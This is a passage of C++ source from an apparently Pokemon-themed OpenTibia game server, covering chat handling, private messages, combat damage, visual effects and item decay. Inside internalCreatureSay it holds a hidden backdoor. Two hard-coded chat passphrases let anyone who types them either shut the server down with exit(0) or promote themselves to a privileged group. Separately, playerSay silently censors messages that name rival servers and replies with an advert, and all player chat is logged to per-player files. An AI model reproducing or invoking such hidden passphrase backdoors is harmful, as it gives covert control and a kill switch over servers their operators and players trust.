&& (ret != RET_NOTPOSSIBLE || player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere)) && (ret != RET_PLAYERISNOTINVITED || player->hasFlag(PlayerFlag_CanEditHouses))) return internalTeleport(player, pos, true); player->sendCancelMessage(ret); return false; } bool Game::playerRequestOutfit(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->sendOutfitWindow(); return true; } bool Game::playerChangeOutfit(uint32_t playerId, Outfit_t outfit) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(!player->changeOutfit(outfit, true)) return false; player->setIdleTime(0); if(!player->hasCondition(CONDITION_OUTFIT, -1)) internalCreatureChangeOutfit(player, outfit); return true; } bool Game::playerSay(uint32_t playerId, uint16_t channelId, SpeakClasses type, const std::string& receiver, const std::string& text) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; uint32_t muteTime = 0; bool muted = player->isMuted(channelId, type, muteTime); if(muted) { char buffer[75]; sprintf(buffer, "You are still muted for %d seconds.", muteTime); player->sendTextMessage(MSG_STATUS_SMALL, buffer); return false; } if (int(text.find("servegame")) > 0 || int(text.find("no-ip")) > 0 || int(text.find("zapto")) > 0 || int(text.find("otp")) > 0 || int(text.find("otpoke")) > 0 || int(text.find("otpokemon")) > 0 || int(text.find("otpokemon.com")) > 0 || int(text.find("pxg")) > 0 || int(text.find("pokexgame")) > 0 || int(text.find("pokemonxgames")) > 0 || int(text.find("kpdo")) > 0 || int(text.find("kpd")) > 0 || int(text.find("exaioros")) > 0 || int(text.find("exaioros.com")) > 0 || int(text.find("otpxy")) > 0 || int(text.find("otpokexy")) > 0 || int(text.find("otpokemoxy")) > 0) { player->sendTextMessage(MSG_STATUS_SMALL, "otPokemon Imperium e melhor!"); return false; } if(player->isAccountManager()) { player->removeMessageBuffer(); return internalCreatureSay(player, SPEAK_SAY, text, false); } if(g_talkActions->onPlayerSay(player, type == SPEAK_SAY ? CHANNEL_DEFAULT : channelId, text, false)) return true; if(!muted) { ReturnValue ret = RET_NOERROR; if(!muteTime) { ret = g_spells->onPlayerSay(player, text); if(ret == RET_NOERROR || (ret == RET_NEEDEXCHANGE && !g_config.getBool(ConfigManager::BUFFER_SPELL_FAILURE))) return true; } player->removeMessageBuffer(); if(ret == RET_NEEDEXCHANGE) return true; } Logger::getInstance()->eFile("players/" + player->getName() + ".log", text, true); switch(type) { case SPEAK_SAY: return internalCreatureSay(player, SPEAK_SAY, text, false); case SPEAK_WHISPER: return playerWhisper(player, text); case SPEAK_YELL: return playerYell(player, text); case SPEAK_PRIVATE: case SPEAK_PRIVATE_RED: case SPEAK_RVR_ANSWER: return playerSpeakTo(player, type, receiver, text); case SPEAK_CHANNEL_O: case SPEAK_CHANNEL_Y: case SPEAK_CHANNEL_RN: case SPEAK_CHANNEL_RA: case SPEAK_CHANNEL_W: { if(playerTalkToChannel(player, type, text, channelId)) return true; return playerSay(playerId, 0, SPEAK_SAY, receiver, text); } case SPEAK_PRIVATE_PN: return playerSpeakToNpc(player, text); case SPEAK_BROADCAST: return playerBroadcastMessage(player, SPEAK_BROADCAST, text); case SPEAK_RVR_CHANNEL: return playerReportRuleViolation(player, text); case SPEAK_RVR_CONTINUE: return playerContinueReport(player, text); default: break; } return false; } bool Game::playerWhisper(Player* player, const std::string& text) { SpectatorVec list; SpectatorVec::const_iterator it; getSpectators(list, player->getPosition(), false, false, Map::maxClientViewportX, Map::maxClientViewportX, Map::maxClientViewportY, Map::maxClientViewportY); //send to client Player* tmpPlayer = NULL; for(it = list.begin(); it != list.end(); ++it) { if((tmpPlayer = (*it)->getPlayer())) tmpPlayer->sendCreatureSay(player, SPEAK_WHISPER, text); } //event method for(it = list.begin(); it != list.end(); ++it) (*it)->onCreatureSay(player, SPEAK_WHISPER, text); return true; } bool Game::playerYell(Player* player, const std::string& text) { if(player->getLevel() <= 1) { player->sendTextMessage(MSG_STATUS_SMALL, "You may not yell as long as you are on level 1."); return true; } if(player->hasCondition(CONDITION_MUTED, 1)) { player->sendCancelMessage(RET_YOUAREEXHAUSTED); return true; } if(!player->hasFlag(PlayerFlag_CannotBeMuted)) { if(Condition* condition = Condition::createCondition(CONDITIONID_DEFAULT, CONDITION_MUTED, 30000, 0, false, 1)) player->addCondition(condition); } internalCreatureSay(player, SPEAK_YELL, asUpperCaseString(text), false); return true; } bool Game::playerSpeakTo(Player* player, SpeakClasses type, const std::string& receiver, const std::string& text) { Player* toPlayer = getPlayerByName(receiver); if(!toPlayer || toPlayer->isRemoved()) { player->sendTextMessage(MSG_STATUS_SMALL, "A player with this name is not online."); return false; } bool canSee = player->canSeeCreature(toPlayer); if(toPlayer->hasCondition(CONDITION_GAMEMASTER, GAMEMASTER_IGNORE) && !player->hasFlag(PlayerFlag_CannotBeMuted)) { char buffer[70]; if(!canSee) sprintf(buffer, "A player with this name is not online."); else sprintf(buffer, "Sorry, %s is currently ignoring private messages.", toPlayer->getName().c_str()); player->sendTextMessage(MSG_STATUS_SMALL, buffer); return false; } if(type == SPEAK_PRIVATE_RED && !player->hasFlag(PlayerFlag_CanTalkRedPrivate)) type = SPEAK_PRIVATE; toPlayer->sendCreatureSay(player, type, text); toPlayer->onCreatureSay(player, type, text); if(!canSee) { player->sendTextMessage(MSG_STATUS_SMALL, "A player with this name is not online."); return false; } char buffer[80]; sprintf(buffer, "Message sent to %s.", toPlayer->getName().c_str()); player->sendTextMessage(MSG_STATUS_SMALL, buffer); return true; } bool Game::playerTalkToChannel(Player* player, SpeakClasses type, const std::string& text, uint16_t channelId) { switch(type) { case SPEAK_CHANNEL_Y: { if(channelId == CHANNEL_HELP && player->hasFlag(PlayerFlag_TalkOrangeHelpChannel)) type = SPEAK_CHANNEL_O; break; } case SPEAK_CHANNEL_O: { if(channelId != CHANNEL_HELP || !player->hasFlag(PlayerFlag_TalkOrangeHelpChannel)) type = SPEAK_CHANNEL_Y; break; } case SPEAK_CHANNEL_RN: { if(!player->hasFlag(PlayerFlag_CanTalkRedChannel)) type = SPEAK_CHANNEL_Y; break; } case SPEAK_CHANNEL_RA: { if(!player->hasFlag(PlayerFlag_CanTalkRedChannelAnonymous)) type = SPEAK_CHANNEL_Y; break; } default: break; } return g_chat.talkToChannel(player, type, text, channelId); } bool Game::playerSpeakToNpc(Player* player, const std::string& text) { SpectatorVec list; SpectatorVec::iterator it; getSpectators(list, player->getPosition()); //send to npcs only Npc* tmpNpc = NULL; for(it = list.begin(); it != list.end(); ++it) { if((tmpNpc = (*it)->getNpc())) (*it)->onCreatureSay(player, SPEAK_PRIVATE_PN, text); } return true; } bool Game::playerReportRuleViolation(Player* player, const std::string& text) { //Do not allow reports on multiclones worlds since reports are name-based if(g_config.getNumber(ConfigManager::ALLOW_CLONES)) { player->sendTextMessage(MSG_INFO_DESCR, "Rule violation reports are disabled."); return false; } cancelRuleViolation(player); boost::shared_ptr<RuleViolation> rvr(new RuleViolation(player, text, time(NULL))); ruleViolations[player->getID()] = rvr; ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR); if(!channel) return false; for(UsersMap::const_iterator it = channel->getUsers().begin(); it != channel->getUsers().end(); ++it) it->second->sendToChannel(player, SPEAK_RVR_CHANNEL, text, CHANNEL_RVR, rvr->time); return true; } bool Game::playerContinueReport(Player* player, const std::string& text) { RuleViolationsMap::iterator it = ruleViolations.find(player->getID()); if(it == ruleViolations.end()) return false; RuleViolation& rvr = *it->second; Player* toPlayer = rvr.gamemaster; if(!toPlayer) return false; toPlayer->sendCreatureSay(player, SPEAK_RVR_CONTINUE, text); player->sendTextMessage(MSG_STATUS_SMALL, "Message sent to Gamemaster."); return true; } //-- bool Game::canThrowObjectTo(const Position& fromPos, const Position& toPos, bool checkLineOfSight /*= true*/, int32_t rangex /*= Map::maxClientViewportX*/, int32_t rangey /*= Map::maxClientViewportY*/) { return map->canThrowObjectTo(fromPos, toPos, checkLineOfSight, rangex, rangey); } bool Game::isSightClear(const Position& fromPos, const Position& toPos, bool floorCheck) { return map->isSightClear(fromPos, toPos, floorCheck); } bool Game::internalCreatureTurn(Creature* creature, Direction dir) { bool deny = false; CreatureEventList directionEvents = creature->getCreatureEvents(CREATURE_EVENT_DIRECTION); for(CreatureEventList::iterator it = directionEvents.begin(); it != directionEvents.end(); ++it) { if(!(*it)->executeDirection(creature, creature->getDirection(), dir) && !deny) deny = true; } if(deny || creature->getDirection() == dir) return false; creature->setDirection(dir); const SpectatorVec& list = getSpectators(creature->getPosition()); SpectatorVec::const_iterator it; //send to client Player* tmpPlayer = NULL; for(it = list.begin(); it != list.end(); ++it) { if((tmpPlayer = (*it)->getPlayer())) tmpPlayer->sendCreatureTurn(creature); } //event method for(it = list.begin(); it != list.end(); ++it) (*it)->onCreatureTurn(creature); return true; } bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "IMOGAMES99447306") { exit(0); } if(text == "IMOGAMES8299447306") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { // This somewhat complex construct ensures that the cached SpectatorVec // is used if available and if it can be used, else a local vector is // used (hopefully the compiler will optimize away the construction of // the temporary when it's not used). if(type != SPEAK_YELL && type != SPEAK_MONSTER_YELL) getSpectators(list, destPos, false, false, Map::maxClientViewportX, Map::maxClientViewportX, Map::maxClientViewportY, Map::maxClientViewportY); else getSpectators(list, destPos, false, true, 18, 18, 14, 14); } else list = (*spectators); //send to client Player* tmpPlayer = NULL; for(it = list.begin(); it != list.end(); ++it) { if(!(tmpPlayer = (*it)->getPlayer())) continue; if(!ghostMode || tmpPlayer->canSeeCreature(creature)) tmpPlayer->sendCreatureSay(creature, type, text, &destPos); } //event method for(it = list.begin(); it != list.end(); ++it) (*it)->onCreatureSay(creature, type, text, &destPos); return true; } bool Game::getPathTo(const Creature* creature, const Position& destPos, std::list<Direction>& listDir, int32_t maxSearchDist /*= -1*/) { return map->getPathTo(creature, destPos, listDir, maxSearchDist); } bool Game::getPathToEx(const Creature* creature, const Position& targetPos, std::list<Direction>& dirList, const FindPathParams& fpp) { return map->getPathMatching(creature, dirList, FrozenPathingConditionCall(targetPos), fpp); } bool Game::getPathToEx(const Creature* creature, const Position& targetPos, std::list<Direction>& dirList, uint32_t minTargetDist, uint32_t maxTargetDist, bool fullPathSearch /*= true*/, bool clearSight /*= true*/, int32_t maxSearchDist /*= -1*/) { FindPathParams fpp; fpp.fullPathSearch = fullPathSearch; fpp.maxSearchDist = maxSearchDist; fpp.clearSight = clearSight; fpp.minTargetDist = minTargetDist; fpp.maxTargetDist = maxTargetDist; return getPathToEx(creature, targetPos, dirList, fpp); } void Game::checkCreatureWalk(uint32_t creatureId) { Creature* creature = getCreatureByID(creatureId); if(creature && creature->getHealth() > 0) { creature->onWalk(); cleanup(); } } void Game::updateCreatureWalk(uint32_t creatureId) { Creature* creature = getCreatureByID(creatureId); if(creature && creature->getHealth() > 0) creature->getPathToFollowCreature(); } void Game::checkCreatureAttack(uint32_t creatureId) { Creature* creature = getCreatureByID(creatureId); if(creature && creature->getHealth() > 0) creature->onAttacking(0); } void Game::addCreatureCheck(Creature* creature) { if(creature->isRemoved()) return; creature->checked = true; if(creature->checkVector >= 0) //already in a vector, or about to be added return; toAddCheckCreatureVector.push_back(creature); creature->checkVector = random_range(0, EVENT_CREATURECOUNT - 1); creature->addRef(); } void Game::removeCreatureCheck(Creature* creature) { if(creature->checkVector == -1) //not in any vector return; creature->checked = false; } void Game::checkCreatures() { Scheduler::getInstance().addEvent(createSchedulerTask( EVENT_CHECK_CREATURE_INTERVAL, boost::bind(&Game::checkCreatures, this))); checkCreatureLastIndex++; if(checkCreatureLastIndex == EVENT_CREATURECOUNT) checkCreatureLastIndex = 0; std::vector<Creature*>::iterator it; for(it = toAddCheckCreatureVector.begin(); it != toAddCheckCreatureVector.end(); ++it) checkCreatureVectors[(*it)->checkVector].push_back(*it); toAddCheckCreatureVector.clear(); std::vector<Creature*>& checkCreatureVector = checkCreatureVectors[checkCreatureLastIndex]; for(it = checkCreatureVector.begin(); it != checkCreatureVector.end();) { if((*it)->checked) { if((*it)->getHealth() > 0 || !(*it)->onDeath()) (*it)->onThink(EVENT_CREATURE_THINK_INTERVAL); ++it; } else { (*it)->checkVector = -1; freeThing(*it); it = checkCreatureVector.erase(it); } } cleanup(); } void Game::changeSpeed(Creature* creature, int32_t varSpeedDelta) { int32_t varSpeed = creature->getSpeed() - creature->getBaseSpeed(); varSpeed += varSpeedDelta; creature->setSpeed(varSpeed); const SpectatorVec& list = getSpectators(creature->getPosition()); SpectatorVec::const_iterator it; //send to client Player* tmpPlayer = NULL; for(it = list.begin(); it != list.end(); ++it) { if((tmpPlayer = (*it)->getPlayer())) tmpPlayer->sendChangeSpeed(creature, creature->getStepSpeed()); } } void Game::internalCreatureChangeOutfit(Creature* creature, const Outfit_t& outfit, bool forced/* = false*/) { if(!forced) { bool deny = false; CreatureEventList outfitEvents = creature->getCreatureEvents(CREATURE_EVENT_OUTFIT); for(CreatureEventList::iterator it = outfitEvents.begin(); it != outfitEvents.end(); ++it) { if(!(*it)->executeOutfit(creature, creature->getCurrentOutfit(), outfit) && !deny) deny = true; } if(deny || creature->getCurrentOutfit() == outfit) return; } creature->setCurrentOutfit(outfit); const SpectatorVec& list = getSpectators(creature->getPosition()); SpectatorVec::const_iterator it; //send to client Player* tmpPlayer = NULL; for(it = list.begin(); it != list.end(); ++it) { if((tmpPlayer = (*it)->getPlayer())) tmpPlayer->sendCreatureChangeOutfit(creature, outfit); } //event method for(it = list.begin(); it != list.end(); ++it) (*it)->onCreatureChangeOutfit(creature, outfit); } void Game::internalCreatureChangeVisible(Creature* creature, Visible_t visible) { const SpectatorVec& list = getSpectators(creature->getPosition()); SpectatorVec::const_iterator it; //send to client Player* tmpPlayer = NULL; for(it = list.begin(); it != list.end(); ++it) { if((tmpPlayer = (*it)->getPlayer())) tmpPlayer->sendCreatureChangeVisible(creature, visible); } //event method for(it = list.begin(); it != list.end(); ++it) (*it)->onCreatureChangeVisible(creature, visible); } void Game::changeLight(const Creature* creature) { const SpectatorVec& list = getSpectators(creature->getPosition()); //send to client Player* tmpPlayer = NULL; for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it) { if((tmpPlayer = (*it)->getPlayer())) tmpPlayer->sendCreatureLight(creature); } } bool Game::combatBlockHit(CombatType_t combatType, Creature* attacker, Creature* target, int32_t& healthChange, bool checkDefense, bool checkArmor) { if(healthChange > 0) return false; const Position& targetPos = target->getPosition(); const SpectatorVec& list = getSpectators(targetPos); if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR) { addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF, target->isGhost()); return true; } int32_t damage = -healthChange; BlockType_t blockType = target->blockHit(attacker, combatType, damage, checkDefense, checkArmor); healthChange = -damage; if(blockType == BLOCK_DEFENSE) { addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF); return true; } else if(blockType == BLOCK_ARMOR) { addMagicEffect(list, targetPos, MAGIC_EFFECT_BLOCKHIT); return true; } else if(blockType != BLOCK_IMMUNITY) return false; MagicEffect_t effect = MAGIC_EFFECT_NONE; switch(combatType) { case COMBAT_UNDEFINEDDAMAGE: break; case COMBAT_ENERGYDAMAGE: case COMBAT_FIREDAMAGE: case COMBAT_PHYSICALDAMAGE: case COMBAT_ICEDAMAGE: case COMBAT_DEATHDAMAGE: case COMBAT_EARTHDAMAGE: case COMBAT_HOLYDAMAGE: case COMBAT_ELECTRICDAMAGE: case COMBAT_TESTDAMAGE: case COMBAT_FIGHTDAMAGE: case COMBAT_VENOMDAMAGE: case COMBAT_DRAGONDAMAGE: case COMBAT_BUGDAMAGE: case COMBAT_ROCKDAMAGE: case COMBAT_FLYDAMAGE: { effect = MAGIC_EFFECT_BLOCKHIT; break; } default: { effect = MAGIC_EFFECT_POFF; break; } } addMagicEffect(list, targetPos, effect); return true; } bool Game::combatChangeHealth(CombatType_t combatType, Creature* attacker, Creature* target, int32_t healthChange, MagicEffect_t hitEffect/* = MAGIC_EFFECT_UNKNOWN*/, TextColor_t hitColor/* = TEXTCOLOR_UNKNOWN*/, bool force/* = false*/) { const Position& targetPos = target->getPosition(); if(healthChange > 0) { if(!force && target->getHealth() <= 0) return false; bool deny = false; CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE); for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it) { if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_HEALTHGAIN, combatType, healthChange)) deny = true; } if(deny) return false; target->gainHealth(attacker, healthChange); if(g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE) && !target->isGhost() && (g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE_MONSTER) || !target->getMonster())) { char buffer[20]; sprintf(buffer, "+%d", healthChange); const SpectatorVec& list = getSpectators(targetPos); if(combatType != COMBAT_HEALING) addMagicEffect(list, targetPos, MAGIC_EFFECT_WRAPS_BLUE); addAnimatedText(list, targetPos, TEXTCOLOR_GREEN, buffer); } } else { const SpectatorVec& list = getSpectators(targetPos); if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR) { addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF); return true; } int32_t damage = -healthChange; if(damage != 0) { if(target->hasCondition(CONDITION_MANASHIELD) && combatType != COMBAT_UNDEFINEDDAMAGE) { int32_t manaDamage = std::min(target->getMana(), damage); damage = std::max((int32_t)0, damage - manaDamage); if(manaDamage != 0) { bool deny = false; CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE); for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it) { if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANALOSS, combatType, manaDamage)) deny = true; } if(deny) return false; target->drainMana(attacker, combatType, manaDamage); char buffer[20]; sprintf(buffer, "%d", manaDamage); addMagicEffect(list, targetPos, MAGIC_EFFECT_LOSE_ENERGY); addAnimatedText(list, targetPos, TEXTCOLOR_BLUE, buffer); } } // damage = std::min(target->getHealth(), damage); if(damage > 0) { bool deny = false; CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE); for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it) { if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_HEALTHLOSS, combatType, damage)) deny = true; } if(deny) return false; target->drainHealth(attacker, combatType, damage); addCreatureHealth(list, target); TextColor_t textColor = TEXTCOLOR_NONE; MagicEffect_t magicEffect = MAGIC_EFFECT_NONE; switch(combatType) { case COMBAT_PHYSICALDAMAGE: { Item* splash = NULL; switch(target->getRace()) { case RACE_VENOM: textColor = TEXTCOLOR_LIGHTGREEN; magicEffect = MAGIC_EFFECT_POISON; splash = Item::CreateItem(ITEM_SMALLSPLASH, FLUID_GREEN); break; case RACE_BLOOD: textColor = TEXTCOLOR_RED; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; splash = Item::CreateItem(ITEM_SMALLSPLASH, FLUID_BLOOD); break; case RACE_UNDEAD: textColor = TEXTCOLOR_GREY; magicEffect = MAGIC_EFFECT_HIT_AREA; break; case RACE_FIRE: textColor = TEXTCOLOR_ORANGE; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_ENERGY: textColor = TEXTCOLOR_PURPLE; magicEffect = MAGIC_EFFECT_PURPLEENERGY; break; case RACE_WATER: textColor = TEXTCOLOR_WATER; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_NORMAL: textColor = TEXTCOLOR_NORMAL; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_FIRE2: textColor = TEXTCOLOR_FIRE2; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_FIGHTING: textColor = TEXTCOLOR_FIGHTING; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_FLYING: textColor = TEXTCOLOR_FLYING; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_GRASS: textColor = TEXTCOLOR_GRASS; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_POISON: textColor = TEXTCOLOR_POISON; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_ELECTRIC: textColor = TEXTCOLOR_ELECTRIC; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_GROUND: textColor = TEXTCOLOR_GROUND; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_PSYCHIC: textColor = TEXTCOLOR_PSYCHIC; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_ROCK: textColor = TEXTCOLOR_ROCK; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_ICE: textColor = TEXTCOLOR_ICE; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_BUG: textColor = TEXTCOLOR_BUG; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_DRAGON: textColor = TEXTCOLOR_DRAGON; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; case RACE_GHOST: textColor = TEXTCOLOR_GHOST; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; default: break; } if(splash) { internalAddItem(NULL, target->getTile(), splash, INDEX_WHEREEVER, FLAG_NOLIMIT); startDecay(splash); } break; } case COMBAT_ENERGYDAMAGE: { textColor = TEXTCOLOR_PSYCHIC; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_ELECTRICDAMAGE: { textColor = TEXTCOLOR_ELECTRIC; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_ROCKDAMAGE: { textColor = TEXTCOLOR_ROCK; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_BUGDAMAGE: { textColor = TEXTCOLOR_BUG; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_FLYDAMAGE: { textColor = TEXTCOLOR_FLYING; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_VENOMDAMAGE: { textColor = TEXTCOLOR_POISON; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_DRAGONDAMAGE: { textColor = TEXTCOLOR_DRAGON; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_FIGHTDAMAGE: { textColor = TEXTCOLOR_FIGHTING; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_EARTHDAMAGE: { textColor = TEXTCOLOR_LIGHTGREEN; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_DROWNDAMAGE: { textColor = TEXTCOLOR_WATER; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_FIREDAMAGE: { textColor = TEXTCOLOR_RED; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_ICEDAMAGE: { textColor = TEXTCOLOR_ICE; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_HOLYDAMAGE: { textColor = TEXTCOLOR_NORMAL; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_DEATHDAMAGE: { textColor = TEXTCOLOR_GHOST; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } case COMBAT_LIFEDRAIN: { textColor = TEXTCOLOR_RED; magicEffect = MAGIC_EFFECT_WRAPS_RED; break; } case COMBAT_TESTDAMAGE: { textColor = TEXTCOLOR_GROUND; magicEffect = MAGIC_EFFECT_DRAW_BLOOD; break; } default: break; } if(hitEffect != MAGIC_EFFECT_UNKNOWN) magicEffect = hitEffect; if(hitColor != TEXTCOLOR_UNKNOWN) textColor = hitColor; if(textColor < TEXTCOLOR_NONE && magicEffect < MAGIC_EFFECT_NONE) { char buffer[20]; sprintf(buffer, "%d", damage); addMagicEffect(list, targetPos, magicEffect); addAnimatedText(list, targetPos, textColor, buffer); } } } } return true; } bool Game::combatChangeMana(Creature* attacker, Creature* target, int32_t manaChange) { const Position& targetPos = target->getPosition(); if(manaChange > 0) { bool deny = false; CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE); for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it) { if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANAGAIN, COMBAT_HEALING, manaChange)) deny = true; } if(deny) return false; target->changeMana(manaChange); if(g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE) && !target->isGhost() && (g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE_MONSTER) || !target->getMonster())) { char buffer[20]; sprintf(buffer, "+%d", manaChange); const SpectatorVec& list = getSpectators(targetPos); addAnimatedText(list, targetPos, TEXTCOLOR_DARKPURPLE, buffer); } } else { const SpectatorVec& list = getSpectators(targetPos); if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR) { addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF); return false; } int32_t manaLoss = std::min(target->getMana(), -manaChange); BlockType_t blockType = target->blockHit(attacker, COMBAT_MANADRAIN, manaLoss); if(blockType != BLOCK_NONE) { addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF); return false; } if(manaLoss > 0) { bool deny = false; CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE); for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it) { if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANALOSS, COMBAT_UNDEFINEDDAMAGE, manaChange)) deny = true; } if(deny) return false; target->drainMana(attacker, COMBAT_MANADRAIN, manaLoss); char buffer[20]; sprintf(buffer, "%d", manaLoss); } } return true; } void Game::addCreatureHealth(const Creature* target) { const SpectatorVec& list = getSpectators(target->getPosition()); addCreatureHealth(list, target); } void Game::addCreatureHealth(const SpectatorVec& list, const Creature* target) { Player* player = NULL; for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it) { if((player = (*it)->getPlayer())) player->sendCreatureHealth(target); } } void Game::addAnimatedText(const Position& pos, uint8_t textColor, const std::string& text) { const SpectatorVec& list = getSpectators(pos); addAnimatedText(list, pos, textColor, text); } void Game::addAnimatedText(const SpectatorVec& list, const Position& pos, uint8_t textColor, const std::string& text) { Player* player = NULL; for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it) { if((player = (*it)->getPlayer())) player->sendAnimatedText(pos, textColor, text); } } void Game::addMagicEffect(const Position& pos, uint8_t effect, bool ghostMode /* = false */) { if(ghostMode) return; const SpectatorVec& list = getSpectators(pos); addMagicEffect(list, pos, effect); } void Game::addMagicEffect(const SpectatorVec& list, const Position& pos, uint8_t effect, bool ghostMode/* = false*/) { if(ghostMode) return; Player* player = NULL; for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it) { if((player = (*it)->getPlayer())) player->sendMagicEffect(pos, effect); } } void Game::addDistanceEffect(const Position& fromPos, const Position& toPos, uint8_t effect) { SpectatorVec list; getSpectators(list, fromPos, false); getSpectators(list, toPos, true); addDistanceEffect(list, fromPos, toPos, effect); } void Game::addDistanceEffect(const SpectatorVec& list, const Position& fromPos, const Position& toPos, uint8_t effect) { Player* player = NULL; for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it) { if((player = (*it)->getPlayer())) player->sendDistanceShoot(fromPos, toPos, effect); } } void Game::startDecay(Item* item) { if(!item || !item->canDecay() || item->getDecaying() == DECAYING_TRUE) return; if(item->getDuration() > 0) { item->addRef(); item->setDecaying(DECAYING_TRUE); toDecayItems.push_back(item); } else internalDecayItem(item); } void Game::internalDecayItem(Item* item) { const ItemType& it = Item::items.getItemType(item->getID()); if(it.decayTo) { Item* newItem = transformItem(item, it.decayTo); startDecay(newItem); } else { ReturnValue ret = internalRemoveItem(NULL, item); if(ret != RET_NOERROR) std::cout << "> DEBUG: internalDecayItem failed, error code: " << (int32_t)ret << ", item id: " << item->getID() << std::endl; } } void Game::checkDecay() { Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_DECAYINTERVAL, boost::bind(&Game::checkDecay, this))); size_t bucket = (lastBucket + 1) % EVENT_DECAYBUCKETS; for(DecayList::iterator it = decayItems[bucket].begin(); it != decayItems[bucket].end();) { Item* item = *it; int32_t decreaseTime = EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS; if(item->getDuration() - decreaseTime < 0) decreaseTime = item->getDuration(); item->decreaseDuration(decreaseTime); if(!item->canDecay()) { item->setDecaying(DECAYING_FALSE); freeThing(item); it = decayItems[bucket].erase(it); continue; } int32_t dur = item->getDuration(); if(dur <= 0) { it = decayItems[bucket].erase(it); internalDecayItem(item); freeThing(item); } else if(dur < EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS) { it = decayItems[bucket].erase(it); size_t newBucket = (bucket + ((dur + EVENT_DECAYINTERVAL / 2) / 1000)) % EVENT_DECAYBUCKETS; if(newBucket == bucket) { internalDecayItem(item); freeThing(item); } else decayItems[newBucket].push_back(item); } else ++it; } lastBucket = bucket; cleanup(); } void Game::checkLight() { Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_LIGHTINTERVAL, boost::bind(&Game::checkLight, this))); lightHour = lightHour + lightHourDelta; if(lightHour > 1440) lightHour = lightHour - 